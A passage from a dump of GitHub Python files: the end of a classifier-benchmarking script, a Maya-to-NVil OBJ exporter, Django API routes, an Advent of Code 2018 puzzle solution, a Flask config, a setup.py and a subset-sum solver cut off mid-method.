\"immigration\", \"corp cutback\", \"edu spending\", \"superfund sue\", \"crime\", \"duty free exports\",\n \"south africa export\", \"party\"]\n data = data.reindex(columns=new_columns)\n for col in new_columns:\n data[col] = data[col].astype(\"category\")\n\n return data, \"Voting\", False\n\n elif data_response == '6':\n data = pd.read_csv(\"https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data\")\n data.replace(\"?\", np.NaN, inplace=True)\n data.dropna(inplace=True)\n columns = [\"Age\", \"workclass\", \"fnlwgt\", \"education\", \"education-num\", \"marital-status\", \"occupation\",\n \"relationship\", \"race\", \"sex\", \"capital-gain\", \"capital-loss\", \"hours-per-week\",\n \"native-country\", \"income\"]\n data.columns = columns\n for col in columns:\n data[col] = data[col].astype(\"category\")\n return data, \"Income\", False\n\n else:\n print(\"Not a valid input.\")\n\n\n# Gets the user's desired value of K for the nearest neighbor algorithm\ndef get_k(var):\n print(\"What value would you like to use for \" + str(var) + \"?\")\n is_number = False\n k = 1\n while not is_number or k <= 0:\n if k <= 0:\n print(\"Value must be larger than 0\")\n\n is_number = True\n # Handles error if user inputs a non-integer value\n try:\n k = int(input(\"> \"))\n except:\n print(\"You must enter a number!\")\n is_number = False\n\n return k\n\ndef set_sample():\n print(\"What value would you like to set max sample to?\")\n is_number = False\n sample = 1\n while not is_number or sample <= 0 or sample > 1:\n if sample <= 0 or sample > 1:\n print(\"Value must be larger than 0 and less than or equal to 1\")\n\n is_number = True\n # Handles error if user inputs a non-integer value\n try:\n sample = float(input(\"> \"))\n except:\n print(\"You must enter a number!\")\n is_number = False\n\n return sample\n\ndef set_features():\n print(\"What value would you like to set max feature to?\")\n is_number = False\n feature = 1\n while not is_number or feature <= 0 or feature > 1:\n if feature <= 0 or feature > 1:\n print(\"Value must be larger than 0 and less than or equal to 1\")\n\n is_number = True\n # Handles error if user inputs a non-integer value\n try:\n feature = float(input(\"> \"))\n except:\n print(\"You must enter a number!\")\n is_number = False\n\n return feature\n\n\n# Gets from the user how many times to run the test\ndef get_number_of_tests():\n is_number = False\n k = 3\n while not is_number or k <= 2:\n print(\"How many tests do you want to run?\")\n if k <= 2:\n print(\"Must be more than 2 tests.\")\n\n is_number = True\n # Handles error if user inputs a non-integer value\n try:\n k = int(input(\"> \"))\n except:\n print(\"You must enter a number!\")\n is_number = False\n\n return k\n\n\n# Gets a single classifier to test data on\ndef get_classifier(is_regressor_data):\n # Prompts the user for their desired algorithm\n print(\"Which algorithm would you like to use?\")\n # Only returns classifier data that can handle regressors if were using regressor data\n if is_regressor_data:\n while True:\n print(\"1 - Hard Coded Nearest Neighbor Classifier\")\n print(\"2 - scikit-learn Nearest Neighbor Regressor\")\n print(\"3 - Hard Coded Classifier\")\n algorithm_response = input(\"> \")\n\n if algorithm_response == '1':\n k = get_k('k')\n return kNNClassifier(k), \"Hard Coded Nearest Neighbor Classifier with a K of \" + str(k)\n elif algorithm_response == '2':\n k = get_k('k')\n return KNeighborsRegressor(n_neighbors=k), \"sci-learn Nearest Neighbor Regressor with a K of \" + str(k)\n elif algorithm_response == '3':\n return HardCodedClassifier(), \"Hard Coded Classifier\"\n else:\n print(\"Not a valid response.\")\n else:\n while True:\n print(\"1 - scikit-learn Gaussian\")\n print(\"2 - Hard Coded Nearest Neighbor Classifier\")\n print(\"3 - scikit-learn Nearest Neighbor Classifier\")\n print(\"4 - Decision Tree Classifier\")\n print(\"5 - Hard Coded Neural Network Classifier\")\n print(\"6 - scikit-learn Neural Network Classifier\")\n print(\"7 - scikit-learn Bagging Classifier\")\n print(\"8 - scikit-learn Random Forest Classifier\")\n print(\"9 - scikit-learn Ada Boost Classifier\")\n print(\"10 - Hard Coded Classifier\")\n algorithm_response = input(\"> \")\n\n if algorithm_response == '1':\n return GaussianNB(), \"Gaussian\"\n elif algorithm_response == '2':\n k = get_k('K')\n return kNNClassifier(k), \"Hard Coded Nearest Neighbor Classifier with a K of \" + str(k)\n elif algorithm_response == '3':\n k = get_k('K')\n return KNeighborsClassifier(n_neighbors=k), \"sci-learn Nearest Neighbor Classifier with a K of \" + str(k)\n elif algorithm_response == '4':\n return DecisionTreeClassifier(), \"Decision Tree Classifier\"\n elif algorithm_response == '5':\n return NeuralNetworkCalssifier(), \"Hard Coded Neural Network Classifier\"\n elif algorithm_response == '6':\n return MLPClassifier(), \"scikit-learn Neural Network Classifier\"\n elif algorithm_response == '7':\n sample = set_sample()\n feature = set_features()\n k = get_k('k')\n return BaggingClassifier(KNeighborsClassifier(n_neighbors=k), max_samples=sample, max_features=feature),\\\n \"scikit-learn Bagging Classifier sample=\" + str(sample) + \" feature=\" + str(feature) + \" k=\" + str(k)\n elif algorithm_response == '8':\n k = get_k('n')\n return RandomForestClassifier(n_estimators=k), \"scikit-learn Random Forest Classifier n=\" + str(k)\n elif algorithm_response == '9':\n k = get_k('n')\n return AdaBoostClassifier(n_estimators=k), \"scikit-learn Ada Boost Classifier n=\" + str(k)\n elif algorithm_response == '10':\n return HardCodedClassifier(), \"Hard Coded Classifier\"\n else:\n print(\"Not a valid response.\")\n\n\n# Gets a dictionary of classifiers to compare on a data set\ndef get_multiple_classifiers(is_regressor_data):\n # The classifiers dictionary will have a key with its name as a string\n # and the value will be the classifier class\n classifiers = dict()\n\n # Gets the classifiers the user wants to compare\n print(\"Which algorithms would you like to test?\")\n print(\"(Enter an algorithm one at a time, pressing enter after each addition)\")\n response = \"\"\n\n # If the data set is regressor data, only displays algorithms that can handle it.\n if is_regressor_data:\n while response != \"done\" and response != \"Done\":\n print(\"1 - Hard Coded Nearest Neighbor Classifier\")\n print(\"2 - scikit-learn Nearest Neighbor Regressor\")\n print(\"3 - Hard Coded Classifier\")\n print(\"Type \\\"done\\\" when completed.\")\n response = input(\"> \")\n if response == '1':\n k = get_k('K')\n classifiers[\"Hard Coded Nearest Neighbor Classifier with a K of \" + str(k)] = kNNClassifier(k)\n elif response == '2':\n k = get_k('K')\n classifiers[\"sci-learn Nearest Neighbor Regressor with a K of \" + str(k)] = KNeighborsRegressor(\n n_neighbors=k)\n elif response == '3':\n classifiers[\"Hard Coded Classifier\"] = HardCodedClassifier()\n elif response != \"Done\" and response != \"done\":\n print(\"Not a valid response.\")\n\n else:\n while response != \"done\" and response != \"Done\":\n print(\"1 - scikit-learn Gaussian\")\n print(\"2 - Hard Coded Nearest Neighbor Classifier\")\n print(\"3 - scikit-learn Nearest Neighbor Classifier\")\n print(\"4 - Decision Tree Classifier\")\n print(\"5 - Hard Coded Nerual Network Classifier\")\n print(\"6 - scikit-learn Neural Network Classifier\")\n print(\"7 - scikit-learn Bagging Classifier\")\n print(\"8 - scikit-learn Random Forest Classifier\")\n print(\"9 - scikit-learn Ada Boost Classifier\")\n print(\"10 - Hard Coded Classifier\")\n print(\"Type \\\"done\\\" when completed.\")\n response = input(\"> \")\n if response == '1':\n classifiers[\"scikit-learn Gaussian\"] = GaussianNB()\n elif response == '2':\n k = get_k('K')\n classifiers[\"Hard Coded Nearest Neighbor Classifier with a K of \" + str(k)] = kNNClassifier(k)\n elif response == '3':\n k = get_k('K')\n classifiers[\"sci-learn Nearest Neighbor Classifier with a K of \" + str(k)] = \\\n KNeighborsClassifier(n_neighbors=k)\n elif response == '4':\n classifiers[\"Decision Tree Classifier\"] = DecisionTreeClassifier()\n elif response == '5':\n classifiers[\"Hard Coded Neural Network Classifier\"] = NeuralNetworkCalssifier()\n elif response == '6':\n classifiers[\"scikit-learn Neural Network Classifier\"] = MLPClassifier()\n elif response == '7':\n sample = set_sample()\n features = set_features()\n k = get_k('k')\n classifiers[\"scikit-learn Bagging Classifier sample=\" + str(sample) + \" feature=\" + str(features) +\n \" k=\" + str(k)] = BaggingClassifier(KNeighborsClassifier(n_neighbors=k),\n max_samples=sample, max_features=features)\n elif response == '8':\n k = get_k('n')\n classifiers[\"scikit-learn Random Forest Classifier n=\" + str(k)] = RandomForestClassifier(n_estimators=k)\n elif response == '9':\n k = get_k('n')\n classifiers[\"scikit-learn Ada Boost Classifier n=\" + str(k)] = AdaBoostClassifier(n_estimators=k)\n elif response == '10':\n classifiers[\"Hard Coded Classifier\"] = HardCodedClassifier()\n elif response != \"Done\" and response != \"done\":\n print(\"Not a valid response.\")\n\n # Returns a map of classifiers with their name as they key and the classifier as the value\n return classifiers\n\n\n# Cleans up data\ndef clean(data):\n # Gets the columns in the data which are not numerical values\n # They were given the type \"category\" when the data was grabbed\n non_numeric_cols = data.select_dtypes([\"category\"]).columns\n\n # Replaces all non-numerical values in the data with numerical values\n data[non_numeric_cols] = data[non_numeric_cols].apply(lambda x: x.cat.codes)\n\n # Sets all the values to their z-score so all values have the same weight\n return data.apply(zscore)\n\n\n# Tests the algorithm k times using k-cross validation\ndef k_cross_validation(data_set, algorithm, k, requires_cleaning):\n kf = KFold(n_splits=k)\n sum_of_accuracies = 0\n\n # Randomizes the data\n data_set = data_set.sample(frac=1)\n\n # Splits the data up k times and tests them\n for train, test in kf.split(data_set):\n # Gets the training data\n train = data_set.iloc[train]\n\n # Gets the testing data\n test = data_set.iloc[test]\n\n # Gets the accuracy of this test\n accuracy = test_data_set(train, test, algorithm, requires_cleaning)\n sum_of_accuracies += accuracy\n\n # Returns the average accuracy\n return sum_of_accuracies / k\n\n\n# Tests given data on a given algorithm\ndef test_data_set(train, test, algorithm, requires_cleaning):\n\n # Separates the data and puts it into a numpy array\n if requires_cleaning:\n train_data = np.array(clean(train[train.columns[0: -1]]))\n test_data = np.array(clean(test[test.columns[0: -1]]))\n else:\n train_data = np.array(train[train.columns[0: -1]])\n test_data = np.array(test[test.columns[0: -1]])\n\n train_target = np.array(train.iloc[:, -1])\n test_target = np.array(test.iloc[:, -1])\n\n # Fits the algorithm with data to teach it what to look for\n model = algorithm.fit(train_data, train_target)\n\n # Tests the algorithm based on what it has been taught\n targets_predicted = model.predict(test_data)\n\n # Gets the number of correct prediction\n count = 0\n for index in range(len(targets_predicted)):\n if targets_predicted[index] == test_target[index]:\n count += 1\n\n # Returns the accuracy of the algorithm\n return 0.0 if count == 0 else count / len(targets_predicted)\n\n\n# Prints the user's given data set\ndef print_data(data_set):\n # Show the data (the attributes of each instance)\n print(\"DATA\")\n print(data_set)\n\n\n# Prints the accuracy of a given data set\ndef print_accuracy(classifier_name, data_set_name, accuracy):\n # Tells the user how accurate their algorithm was on their given data set\n print(\"\\nThe \" + classifier_name + \" was \" + str(round(accuracy * 100, 3)) +\n \"% accurate on the \" + data_set_name + \" Data Set.\")\n\n\ndef test_algorithm():\n # Get the data set\n data_set, data_set_name, is_regressor_data = get_data_set()\n\n # Get the classifier\n classifier, classifier_name = get_classifier(is_regressor_data)\n\n # If classifier is the decision tree, set its feature names to the data set's column names\n if classifier_name == \"Decision Tree Classifier\":\n columns = data_set.columns.values\n classifier.set_feature_names(columns[:-1])\n\n # Get number of times the user wants to run the classifier on the data\n k = get_number_of_tests()\n\n # Gets the accuracy of the the algorithm on the data set\n accuracy = k_cross_validation(data_set, classifier, k, classifier_name != \"Decision Tree Classifier\")\n\n # Prompts the user if they would like to see their data set\n print(\"Would you like to see your data? (y, n)\")\n see_data_response = input(\"> \")\n if see_data_response == 'y':\n print_data(data_set)\n\n # Displays the classifier's accuracy\n print_accuracy(classifier_name, data_set_name, accuracy)\n\n\n# Compares multiple user given classifiers\ndef compare_algorithms():\n # Get the data set\n data_set, data_set_name, is_regressor_data = get_data_set()\n\n # Get the classifiers the user wants to compare\n classifiers = get_multiple_classifiers(is_regressor_data)\n\n # If classifier is the decision tree, set its feature names to the data set's column names\n if \"Decision Tree Classifier\" in classifiers:\n columns = data_set.columns.values\n classifiers[\"Decision Tree Classifier\"].set_feature_names(columns[:-1])\n\n # Get number of times the user wants to run the classifier on the data\n k = get_number_of_tests()\n\n # Asks the user if they'd like to see their data set\n print(\"Would you like to see your data? (y, n)\")\n see_data_response = input(\"> \")\n if see_data_response == 'y':\n print_data(data_set)\n\n # Displays all of the classifier's accuracy\n for classifier_name in classifiers.keys():\n accuracy = k_cross_validation(data_set, classifiers[classifier_name], k,\n classifier_name != \"Decision Tree Classifier\")\n print_accuracy(classifier_name, data_set_name, accuracy)\n\n\n# Asks the user if they would like to test an algorithm or compare many algorithms\ndef main():\n pd.options.mode.chained_assignment = None\n\n print(\"What would you like to do?\")\n print(\"1 - Test an algorithm\")\n print(\"2 - Compare multiple algorithms\")\n job_response = input(\"> \")\n\n if job_response == '2':\n compare_algorithms()\n else:\n test_algorithm()\n\n\n# Runs the program\nmain()\n","repo_name":"nnlamb25/machine-learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8429313131","text":"# Export to NVIL \n# (%user%\\AppData\\Roaming\\DigitalFossils\\NVil\\Media\\Clipboard\\ClipboardObj.obj)\n\nimport os\nimport pymel.core.nodetypes as nt\n\ndef getTransforms(shapeList, fullPath=False):\n\ttransforms = []\n\tfor node in shapeList:\n\t\tif 'transform' != pm.nodeType(node):\n\t\t\tparent = pm.listRelatives(node, fullPath=fullPath, parent=True)\n\t\t\ttransforms.append(parent[0])\n\treturn transforms\n\ndef exportObj(objName, exportDir, zeroSRT=True, ignoreMat=True):\n\tsels = pm.selected()\n\t\n\t# filter out construction history\n\tsels = [i for i in sels if (i.nodeType() == 'transform' or i.nodeType() == 'mesh')]\n\tpm.select(sels)\n\t\n\tif len(sels) < 1:\n\t\tcmds.confirmDialog(title=\"Oops\", message=\"Nothing selected!\")\n\t\treturn False\n\t\n\tif not objName or objName == '':\n\t\tcmds.confirmDialog(title=\"Oops\", message=\"Please give it a name!\")\n\t\treturn False\n\t\n\tobjsSRT = None\n\tif zeroSRT:\n\t\tobjsSRT = {}\n\t\t# Store SRT for selected objects\n\t\tfor obj in sels:\n\t\t\ts = obj.scale.get()\n\t\t\tr = obj.rotate.get()\n\t\t\tt = obj.translate.get()\n\t\t\tobjsSRT[obj] = (s,r,t)\n\t\t\t# Then zero them out (For Scale it is set to 1)\n\t\t\tobj.scale.set((1,1,1))\n\t\t\tobj.rotate.set((0,0,0))\n\t\t\tobj.translate.set((0,0,0))\n\t\n\tobj_filepath = os.path.join(exportDir, objName+'.obj')\n\t\n\tignoreMat = 0 if ignoreMat else 1\n\tpm.exportSelected(obj_filepath, pr=True, typ='OBJexport', es=1, force=True, \\\n\t\top=\"groups=1;ptgroups=1;materials={0};smoothing=1;normals=1\".format(ignoreMat))\n\t\n\t# Display to user\n\timport maya.OpenMaya as OpenMaya\n\tOpenMaya.MGlobal.displayInfo(\"Exported to '{0}'.\".format(obj_filepath))\n\t\n\tif objsSRT:\n\t\t# Restore SRT for selected objects\n\t\tfor obj in sels:\n\t\t\tobj.scale.set(objsSRT[obj][0])\n\t\t\tobj.rotate.set(objsSRT[obj][1])\n\t\t\tobj.translate.set(objsSRT[obj][2])\n\norig_selections = pm.selected()\n\n# Get a list of all the meshes (including the childrens that are not directly selected)\nmeshes = []\nfor i in pm.selected():\n\tmeshshapes = pm.listRelatives(i, allDescendents=True, type='mesh')\n\tl = getTransforms(meshshapes, fullPath=True)\n\tfor i in l:\n\t\tif i not in meshes:\n\t\t\tmeshes.append(i)\n\npm.select(cl=True)\n\nobjs_to_export = []\ndups = []\n\ndef objectContainsTransforms(obj):\n\tfor child in obj.getChildren():\n\t\tif isinstance(child, nt.Transform):\n\t\t\treturn True\n\treturn False\n\nfor o in meshes:\n\t# If the object has a parent, we duplicate it, then parent to the world\n\t# then rename it based on its hierarchy, replacing '|' with '___'\n\t# We parent it to the world to make sure the name is as what we gave to it inside the obj file\n\t# Multiple level of parenting results in unpredictable name inside the obj file\n\tif o.getParent(): \n\t\tl = (o.longName()[1:].split('|'))\n\t\tgrouped_name = '___'.join(l) # bake group hierarchy into name\n\t\tdup = pm.duplicate(o)\n\t\tpm.rename(dup, grouped_name)\n\t\tpm.parent(dup, world=True)\n\t\tobjs_to_export.append(dup)\n\t\tdups.append(dup)\n\t# If it contains any children, duplicate it without the children\n\telif objectContainsTransforms(o):\n\t\tdup = pm.duplicate(o)[0]\n\t\tfor child in dup.getChildren():\n\t\t\tif isinstance(child, nt.Transform):\n\t\t\t\tpm.delete(child)\n\t\tpm.rename(dup, o.nodeName() + '___')\n\t\tobjs_to_export.append(dup)\n\t\tdups.append(dup)\n\t# Else if it's not parented to anything, and has no children, just export as it is\n\telse:\n\t\tobjs_to_export.append(o)\n\t\tcontinue\n\npm.select(objs_to_export)\n\n# user_dir = os.path.expanduser('~user')\nuser_dir = os.getenv('USERPROFILE')\nnvil_clipboard_dir = os.path.join(user_dir, 'AppData/Roaming/DigitalFossils/NVil/Media/Clipboard')\nnvil_clipboard_dir = os.path.normpath(nvil_clipboard_dir)\n# \nexportObj('ClipboardObj', nvil_clipboard_dir, False, True)\n\n# Clean up duplicates\npm.delete(dups)\n\n# Restore selections\npm.select(orig_selections)\n","repo_name":"miica37/miica-scripts","sub_path":"Nvil/Export-to-Nvil.py","file_name":"Export-to-Nvil.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32649013269","text":"from django.conf.urls.defaults import *\nfrom handlers import EntityHandler, EntitySearchHandler, \\\n EntityAttributeHandler, EntitySimpleHandler, \\\n EntityAdvSearchHandler, EntityTypeSummaryHandler\nfrom locksmith.auth.authentication import PistonKeyAuthentication\nfrom piston.emitters import Emitter\nfrom piston.resource import Resource\n\nEmitter.unregister('django')\nEmitter.unregister('pickle')\nEmitter.unregister('xml')\nEmitter.unregister('yaml')\n\nad = { 'authentication': PistonKeyAuthentication() }\n\nentity_handler = Resource(EntityHandler, **ad)\nentityfilter_handler = Resource(EntitySearchHandler, **ad)\nentityadvsearch_handler = Resource(EntityAdvSearchHandler, **ad)\nentity_attribute_handler = Resource(EntityAttributeHandler, **ad)\nentitysimple_handler = Resource(EntitySimpleHandler, **ad)\nentity_type_summary_handler = Resource(EntityTypeSummaryHandler, **ad)\n\nurlpatterns = patterns('',\n url(r'^/id_lookup.json$', entity_attribute_handler, name='api_entity_attribute'),\n url(r'^/(?P[a-f0-9-]{32,36})\\.(?P.+)$', entity_handler, name='api_entities'),\n url(r'^/list.(?P.+)$', entitysimple_handler, name='api_entities_simple'),\n url(r'^/search\\.(?P.+)$', entityadvsearch_handler, name='api_entities_adv_search'),\n url(r'^\\.(?P.+)$', entityfilter_handler, name='api_entities_filter'),\n url(r'^/summary/(?Porg|lobbying_org|pol_group|individual|industry|lobbyist|pol)\\.(?P.+)$', entity_type_summary_handler, name='api_entities_type_summary'),\n\n)\n","repo_name":"sunlightlabs/datacommons","sub_path":"dcapi/aggregates/entities/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"67"} +{"seq_id":"39072781550","text":"import numpy\nimport re\nimport datetime\n\n\nclass Guard():\n def __init__(self, date, tag):\n self.tag = tag\n self.dates = {}\n self.add_date(date)\n\n def __repr__(self):\n lines = []\n for date, values in self.dates.items():\n timeline = \"\".join(map(str, values[0]))\n lines.append(f\"{date} #{self.tag} {timeline}\")\n\n return \"\\n\".join(lines)\n\n def table(self):\n rows = []\n for _, row in sorted(self.dates.items()):\n rows.append(row)\n\n return numpy.concatenate(rows, axis=0)\n\n def add_date(self, date):\n day = numpy.ndarray(shape=(1, 60), dtype=numpy.int32)\n day[:, :] = 0\n self.dates[date] = day\n\n def sleep(self, date, minute):\n self.sleep_minute = minute\n\n def wake_up(self, date, minute):\n self.wake_up_minute = minute\n self.dates[date][0, self.sleep_minute:self.wake_up_minute] = 1\n\n def has_slept(self):\n slept = 0\n for values in self.dates.values():\n slept += numpy.sum(values)\n\n return slept\n\n def max_minute(self):\n table = self.table()\n minute = numpy.argmax(numpy.average(table, axis=0))\n amount = numpy.sum(table[:, minute])\n return (minute, amount)\n\ndef log(log_lines):\n tag = ''\n guards = {}\n for line in log_lines:\n date_string = re.search(r'.*\\[([0-9]{4}-[0-9]{2}-[0-9]{2}) ([0-9]{2}):([0-9]{2})\\].*', line)\n date = date_string.group(1)\n hour = int(date_string.group(2))\n minute = int(date_string.group(3))\n if hour != 0:\n date = datetime.datetime.strptime(date, '%Y-%m-%d').date()\n date += datetime.timedelta(days=1)\n date = str(date)\n minute = 0\n\n if 'Guard' in line:\n tag = int(re.search('.*Guard #([0-9]+).*', line).group(1))\n if tag not in guards:\n guards[tag] = Guard(date, tag)\n\n else:\n guards[tag].add_date(date)\n\n if 'asleep' in line:\n guards[tag].sleep(date, minute)\n\n if 'wakes' in line:\n guards[tag].wake_up(date, minute)\n\n return guards\n\ndef sleepy_guard(guards):\n slept = {}\n for guard in guards.values():\n slept[guard.has_slept()] = guard.tag\n\n max_slept = max(slept.keys())\n return slept[max_slept]\n\ndef find_minute(table):\n return numpy.argmax(numpy.sum(table, axis=0))\n\ndef sort_log(sequences):\n log_lines = {}\n for line in sequences:\n date_string = re.search(r'.*\\[([0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2})\\].*', line)\n date = date_string.group(1)\n date = datetime.datetime.strptime(date, '%Y-%m-%d %H:%M')\n log_lines[date] = line\n\n lines = []\n for date, line in sorted(log_lines.items()):\n lines.append(line)\n\n return lines\n\n\ndef solution(sequences):\n \"\"\"Solution to part one.\n \"\"\"\n sorted_log = sort_log(sequences)\n guards = log(sorted_log)\n suspect = sleepy_guard(guards)\n table = guards[suspect].table()\n minute = find_minute(table)\n print(f\"sleepy guard {suspect} slept for {guards[suspect].has_slept()}\")\n print(f\"most at minute {minute}\")\n print(f\"answer: {suspect * minute}\")\n return suspect * minute\n","repo_name":"lordievader/advent_of_code","sub_path":"2018/python/day_04/part_1.py","file_name":"part_1.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"18724074871","text":"import os as util\nfrom datetime import datetime\n\ndef reto_4():\n ruta = \"/home/runner/BEDU/Sesion_3/README.md\"\n s = util.path.getsize(ruta)\n f = util.path.getmtime(ruta)\n\n print(\"Detalles del Archivo {}\".format(ruta))\n print(\"{0:>20}{1:>20}\".format(\"Tamaño\",\"Fecha Mod.\"))\n print(\"{0:>20}{1:>20}\".format(s,datetime.fromtimestamp(f).strftime(\"%Y-%m-%d %H:%M:%S\")))","repo_name":"mismeroth/BEDU","sub_path":"Sesion_3/Reto_4_Archivos.py","file_name":"Reto_4_Archivos.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12873214505","text":"import os\n\nclass Config(object):\n # To avoid getting terminal warnings\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n JWT_SECRET_KEY = os.environ.get(\"SECRET_KEY\")\n\n # Creates a getter and setter property\n @property \n def SQLALCHEMY_DATABASE_URI(self):\n #access to .env and get the value of DATABASE_URL, \n # the variable name can be any but needs to match\n db_url = os.environ.get(\"DATABASE_URL\")\n\n if not db_url:\n # Inform the user of error\n raise ValueError(\"DATABASE_URL is not set\")\n \n return db_url\n\n\n# Setting config\nclass DevelopmentConfig(Config):\n DEBUT = True\n\n\nclass ProductionConfig(Config):\n pass\n\n\nclass TestingConfig(Config):\n TESTING = True\n\n\napp_environment = os.environ.get(\"FLASK_DEBUG\")\n#app_environment = os.environ.get(\"FLASK_ENV\")\n\n\nif app_environment == \"production\":\n app_config = ProductionConfig()\nelif app_environment == \"testing\":\n app_config = TestingConfig()\nelse:\n app_config = DevelopmentConfig()\n\n","repo_name":"JRBoland/JamesBoland_T2A2","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"15810525038","text":"import csv\n\ndef cleanField(field):\n\tfirst = str(field)\n\tf1 = first.replace(\"'\", \""\")\n\tf2 = f1.replace('\"', \""\")\n\tf3 = f2.replace(\",\", \",\")\n\tf4 = f3.replace(\"\\\\\", \"&bslash;\")\n\treturn f4\n\n\n#print (\"var YahrzeitList = '{ \\\"Yahrzeits\\\": [' +\")\nwith open('X@~@~@X/BeisChayim/data/yahrzeits.csv') as csvfile:\n\tlineCount = 0\n\tlineread = csv.reader(csvfile, delimiter=',', quotechar='\"')\n\tl = list(lineread)\n\tlineArray = []\n\tfor field in l:\n\t\tif isinstance(field, list) and len(field) > 0:\n\t\t\tfor f in field:\n\t\t\t\tlineArray.append(cleanField(f))\n\t\tif lineCount > 0:\n\t\t\tprint(\",\".join(lineArray))\n\t\tlineCount = lineCount + 1\n\t\tlineArray = []\n","repo_name":"EfraimKrug/BeisChayim","sub_path":"python/cleanup01.py","file_name":"cleanup01.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20708191895","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import setup\n\nwith open('README.rst') as readme_file:\n readme = readme_file.read()\n\nwith open('HISTORY.rst') as history_file:\n history = history_file.read()\n\nrequirements = [\n 'numpy>=1.11.3',\n 'matplotlib>=2.0.0',\n 'scipy>=0.18.1',\n 'netcdf4>=1.2.4',\n 'sympl==0.3.2'\n]\n\nsetup_requirements = []\n\ntest_requirements = []\n\nsetup(\n author=\"Nick Weber\",\n author_email='njweber@uw.edu',\n classifiers=[\n 'Development Status :: 2 - Pre-Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n \"Programming Language :: Python :: 2\",\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n description=\"Barotropic model written in Python using Sympl.\",\n install_requires=requirements,\n license=\"MIT license\",\n long_description=readme + '\\n\\n' + history,\n include_package_data=True,\n keywords='barotropy',\n name='barotropy',\n packages=['barotropy'],\n setup_requires=setup_requirements,\n test_suite='tests',\n tests_require=test_requirements,\n url='https://github.com/njweber2/barotropy',\n version='0.1.0',\n zip_safe=False,\n)\n","repo_name":"nick-weber/barotropy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35406967909","text":"from random import randint, sample\r\nfrom itertools import chain, combinations\r\nfrom time import time\r\n\r\nclass SSP():\r\n def __init__(self, S=[], t=0):\r\n self.S = S\r\n self.t = t\r\n self.n = len(S)\r\n self.count= 0\r\n self.decision = False\r\n self.total = 0\r\n self.selected = []\r\n\r\n def __repr__(self):\r\n return \"SSP instance: S=\"+str(self.S)+\"\\tt=\"+str(self.t)\r\n \r\n def random_instance(self, n, bitlength=10): #creates a random isntance \r\n max_n_bit_number = 2**bitlength-1\r\n self.S = sorted( [ randint(0,max_n_bit_number) for i in range(n) ] , reverse=True)\r\n \r\n self.t = randint(0,n*max_n_bit_number)\r\n self.n = len( self.S )\r\n\r\n def random_yes_instance(self, n, bitlength=10):#creates a random isntance that can be found\r\n max_n_bit_number = 2**bitlength-1\r\n self.S = sorted( [ randint(0,max_n_bit_number) for i in range(n) ] , reverse=True)\r\n self.t = sum( sample(self.S, randint(0,n)) )\r\n self.n = len( self.S )\r\n\r\n\r\n def try_at_random(self): #generates randomly until it finds it or it does it 50 times, this was put in as the program would just loop however it still doesnt properlyl check because it may take mroe then 50 tries for random\r\n candidate = []\r\n total = 0\r\n self.count=0\r\n while total != self.t and self.count <51:\r\n self.count+=1\r\n candidate = sample(self.S, randint(0,self.n))\r\n total = sum(candidate)\r\n print( \"Trying: \", candidate, \", sum:\", total )\r\n print (\"found\",candidate)\r\n print (\"ran\",self.count,\"times\")\r\n\r\n\r\n\r\n\r\n def try_Exaust_search(self):\r\n candidate=self.S\r\n self.count=0\r\n Poly=self.polynominal_time()\r\n if Poly == True: #this checks if a polynomial tiem situation exists\r\n print (\"found\")\r\n return 1\r\n elif Poly == False:\r\n print (\"not found\")\r\n return 0\r\n if (self.Exhaust_imp(candidate,len(candidate),self.t)==True):#runs the actual class that checks for a subset sum\r\n print (\"found\")\r\n print (\"ran\" ,self.count,\"times\")\r\n return 1\r\n else:\r\n print (\"not found\")\r\n print (\"ran\" ,self.count,\"times\")\r\n return 0\r\n \r\n def Exhaust_imp(self,list2,n,sum1):#takes a list, size of list and sum of list as input\r\n self.count+=1\r\n print (\"old total\",sum1)\r\n if sum1 == 0: #if it hits 0 it is true \r\n return True\r\n if sum1!=0 and n==0: #it the lsit empties then it is not true\r\n return False\r\n if (list2[n-1]>sum1): #if the top of the list is bigger then the target, ignore it\r\n return self.Exhaust_imp(list2,n-1,sum1)\r\n print (\"new total \",sum1-list2[n-1])\r\n return (self.Exhaust_imp(list2,n-1,sum1) or self.Exhaust_imp(list2,n-1,sum1-list2[n-1]))#forks into two classes, one where the current element is added and one where it isnt\r\n \r\n \r\n\r\n\r\n\r\n def try_Dynamic_search(self):\r\n candidate=self.S\r\n self.count=0\r\n Poly=self.polynominal_time()\r\n if Poly == True:\r\n print (\"found\")\r\n return 1\r\n elif Poly == False:\r\n print (\"not found\")\r\n return 0 \r\n if (self.Dynamic_imp(candidate,self.n-1,self.t))==True :\r\n print (\"found\")\r\n print (\"ran\" ,self.count,\"times\")\r\n return 1\r\n else:\r\n print (\"not found\")\r\n print (\"ran\" ,self.count,\"times\")\r\n return 0\r\n\r\n\r\n def 